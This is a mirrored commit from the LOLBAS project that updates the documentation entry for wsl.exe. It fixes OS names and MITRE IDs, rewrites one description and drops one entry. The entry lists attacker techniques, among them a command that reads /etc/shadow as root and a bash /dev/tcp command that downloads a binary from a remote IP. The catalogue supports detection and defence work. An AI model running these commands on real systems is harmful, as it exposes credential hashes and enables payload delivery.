mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2025-01-29 06:42:24 +01:00
Update wsl.exe description (#378)
Co-authored-by: Wietze <wietze@users.noreply.github.com>
This commit is contained in:
parent
35148cc39e
commit
03b527b105
@ -10,35 +10,28 @@ Commands:
|
|||||||
Category: Execute
|
Category: Execute
|
||||||
Privileges: User
|
Privileges: User
|
||||||
MitreID: T1202
|
MitreID: T1202
|
||||||
OperatingSystem: Windows 10, Windows 19 Server
|
OperatingSystem: Windows 10, Windows Server 2019, Windows 11
|
||||||
- Command: wsl.exe -u root -e cat /etc/shadow
|
- Command: wsl.exe -u root -e cat /etc/shadow
|
||||||
Description: Cats /etc/shadow file as root
|
Description: Cats /etc/shadow file as root
|
||||||
Usecase: Performs execution of arbitrary Linux commands as root without need for password.
|
Usecase: Performs execution of arbitrary Linux commands as root without need for password.
|
||||||
Category: Execute
|
Category: Execute
|
||||||
Privileges: User
|
Privileges: User
|
||||||
MitreID: T1202
|
MitreID: T1202
|
||||||
OperatingSystem: Windows 10, Windows 19 Server
|
OperatingSystem: Windows 10, Windows Server 2019, Windows 11
|
||||||
- Command: wsl.exe --exec bash -c 'cat file'
|
- Command: wsl.exe --exec bash -c "<command>"
|
||||||
Description: Cats /etc/shadow file as root
|
Description: Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u <username>`) on the default WSL distro (unless stated otherwise using `-d <distro name>`)
|
||||||
Usecase: Performs execution of arbitrary Linux commands.
|
Usecase: Performs execution of arbitrary Linux commands.
|
||||||
Category: Execute
|
Category: Execute
|
||||||
Privileges: User
|
Privileges: User
|
||||||
MitreID: T1202
|
MitreID: T1202
|
||||||
OperatingSystem: Windows 10, Windows 19 Server
|
OperatingSystem: Windows 10, Windows Server 2019, Windows 11
|
||||||
- Command: wsl.exe --system calc.exe
|
|
||||||
Description: Execute the command as root
|
|
||||||
Usecase: Performs execution of arbitrary Linux commands as root without need for password.
|
|
||||||
Category: Execute
|
|
||||||
Privileges: User
|
|
||||||
MitreID: T1202
|
|
||||||
OperatingSystem: Windows 11
|
|
||||||
- Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
|
- Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
|
||||||
Description: Downloads file from 192.168.1.10
|
Description: Downloads file from 192.168.1.10
|
||||||
Usecase: Download file
|
Usecase: Download file
|
||||||
Category: Download
|
Category: Download
|
||||||
Privileges: User
|
Privileges: User
|
||||||
MitreID: T1202
|
MitreID: T1105
|
||||||
OperatingSystem: Windows 10, Windows 19 Server
|
OperatingSystem: Windows 10, Windows Server 2019, Windows 11
|
||||||
Full_Path:
|
Full_Path:
|
||||||
- Path: C:\Windows\System32\wsl.exe
|
- Path: C:\Windows\System32\wsl.exe
|
||||||
Code_Sample:
|
Code_Sample:
|
||||||
@ -59,3 +52,4 @@ Acknowledgement:
|
|||||||
Handle: '@d1r4c'
|
Handle: '@d1r4c'
|
||||||
- Person: Nasreddine Bencherchali
|
- Person: Nasreddine Bencherchali
|
||||||
Handle: '@nas_bench'
|
Handle: '@nas_bench'
|
||||||
|
- Person: Konrad 'unrooted' Klawikowski
|
||||||
|
Loading…
Reference in New Issue
Block a user